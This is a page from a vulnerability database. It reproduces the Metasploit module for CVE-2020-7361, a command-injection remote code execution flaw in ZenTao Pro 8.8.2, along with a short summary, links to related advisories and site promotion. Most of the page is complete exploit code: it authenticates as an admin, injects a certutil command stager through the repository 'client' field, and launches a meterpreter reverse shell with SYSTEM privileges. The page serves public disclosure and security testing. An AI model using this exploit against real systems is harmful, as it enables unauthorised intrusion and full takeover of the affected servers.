Lucene search
K

ZenTao Pro 8.8.2 Remote Code Execution

🗓️ 22 Jul 2020 00:00:00Reported by Daniel MonzonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 528 Views

ZenTao Pro 8.8.2 Remote Code Execution exploit allows execution of arbitrary commands with SYSTEM privileges. The vulnerability resides in the 'Repo Create' function of the ZenTao dashboard, allowing an attacker to inject commands via HTTP POST requests. Successful exploitation requires valid admin credentials

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ZenTao Pro 8.8.2 Remote Code Execution Exploit
22 Jul 202000:00
zdt
Circl
CVE-2020-7361
22 Jul 202014:53
circl
CNVD
EasyCorp ZenTao Pro Command Injection Vulnerability
24 Jul 202000:00
cnvd
Check Point Advisories
Easycorp Zentao Pro Command Injection (CVE-2020-7361)
2 Sep 202000:00
checkpoint_advisories
CVE
CVE-2020-7361
6 Aug 202015:45
cve
Cvelist
CVE-2020-7361 ZenTao Pro Command Injection
6 Aug 202015:45
cvelist
Metasploit
ZenTao Pro 8.8.2 Remote Code Execution
22 Jul 202017:41
metasploit
NVD
CVE-2020-7361
6 Aug 202016:15
nvd
Prion
Command injection
6 Aug 202016:15
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ZenTao Pro 8.8.2 Remote Code Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability in ZenTao Pro  
8.8.2 and earlier versions in order to execute arbitrary commands with  
SYSTEM privileges.  
  
The module first attempts to authenticate to the ZenTao dashboard. It  
then tries to execute the payload by submitting fake repositories via  
the 'Repo Create' function that is accessible from the dashboard via  
CI>Repo. More precisely, the module sends HTTP POST requests to  
'/pro/repo-create.html' that inject commands in the vulnerable 'path'  
parameter which corresponds to the 'Client Path' input field.  
  
Valid credentials for a ZenTao admin account are required. This module  
has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on  
Windows 10 (XAMPP server).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniel Monzón', # Discovery  
'Melvin Boers', # PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['EDB', '48633'], # PoC  
['CVE', '2020-7361']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows (x86)', {  
'Arch' => [ARCH_X86],  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows (x64)', {  
'Arch' => [ARCH_X64],  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 2020'  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),  
OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\Windows\\Temp']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])  
]  
end  
  
def check  
vprint_status('Running check')  
  
# visit login the page to get the necessary cookies  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'user-login.html')  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
cookie = res.get_cookies  
if cookie.blank?  
return CheckCode::Unknown('Unable to retrieve HTTP cookie header')  
end  
  
# check if the language is set to English, otherwise change it to English  
unless cookie.scan(/lang=(.*?);/).flatten.first == 'en-US'  
cookie.gsub!(/lang=(.*?);/, 'lang=en;')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'score-ajax-selectLang.html'),  
'cookie' => cookie  
})  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
@cookie = res.get_cookies  
if @cookie.blank?  
return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')  
end  
end  
  
# visit login page to check ZenTao version  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'user-login.html'),  
'cookie' => @cookie  
})  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
unless res.code == 200 && res.body.include?('Login - ZenTao')  
return CheckCode::Safe('Target is not a ZenTao application.')  
end  
  
# obtain cookie and random value necessary to autenticate later  
@cookie = res.get_cookies  
retrieve_rand_val(res)  
if @cookie.blank? || @random_value.blank?  
return CheckCode::Unknown('Unable to obtain the tokens required for authentication')  
end  
  
# obtain version  
version = res.body.scan(/v=pro(.*?)'/).flatten.first  
if version.blank?  
return CheckCode::Detected('Unable to obtain ZenTao version.')  
end  
  
@version = Gem::Version.new(version)  
  
unless @version <= Gem::Version.new('8.8.2')  
return CheckCode::Detected("Target is ZenTao version #{@version}.")  
end  
  
return CheckCode::Appears("Target is ZenTao version #{@version}.")  
  
end  
  
def retrieve_rand_val(res)  
html = res.get_html_document  
@random_value = html.at('input[@name="verifyRand"]')['value']  
  
fail_with(Failure::NotFound, 'Failed to retrieve token') unless @random_value  
end  
  
def login  
login_uri = normalize_uri(target_uri.path, 'user-login.html')  
unless @random_value  
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)  
fail_with(Failure::UnexpectedReply, 'Unable to reach login page') unless res  
@cookie = res.get_cookies  
retrieve_rand_val(res)  
end  
  
# generate md5 hashes required for authentication  
hashed_pass = Digest::MD5.hexdigest(datastore['PASSWORD'].to_s)  
final_hash = Digest::MD5.hexdigest("#{hashed_pass}#{@random_value}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => login_uri,  
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'cookie' => @cookie,  
'headers' => {  
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
},  
'vars_post' => {  
'account' => datastore['USERNAME'],  
'password' => final_hash,  
'passwordStrength' => '1',  
'referer' => '/pro/',  
'verifyRand' => @random_value,  
'KeepLogin' => '0'  
}  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed')  
end  
  
unless res.code == 200 && res.body.include?('success')  
fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')  
end  
  
# visit /pro/, which is required to get to the dashboard at /pro/my/  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'cookie' => @cookie,  
'headers' => {  
'Upgrade-Insecure-Requests' => '1',  
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",  
}  
})  
  
unless res && res.code == 302  
fail_with(Failure::NoAccess, 'Failed to authenticate.')  
end  
  
# finally visit /pro/my/ and check if we have been authenticated  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'my'),  
'cookie' => @cookie  
})  
unless res && res.code == 200 && res.body.include?('Dashboard - ZenTao')  
fail_with(Failure::NoAccess, 'Failed to authenticate.')  
end  
print_good("Successfully authenticated to ZenTao #{@version}.")  
end  
  
def execute_command(cmd, _opts = {})  
cmd << ' &&' # this is necessary for compatibility with x86 targets (for x64 the module also works without this)  
repo_uri = normalize_uri(target_uri.path, 'repo-create')  
send_request_cgi({  
'method' => 'POST',  
'uri' => repo_uri,  
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'cookie' => @cookie,  
'headers' => {  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{repo_uri}",  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
},  
'vars_post' => {  
'SCM' => 'Git',  
'name' => Rex::Text.rand_text_alpha_lower(6..10),  
'path' => datastore['TARGETPATH'],  
'encoding' => 'utf-8',  
'client' => cmd  
}  
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload  
end  
  
def exploit  
login  
print_status('Executing the payload...')  
execute_cmdstager(background: true)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation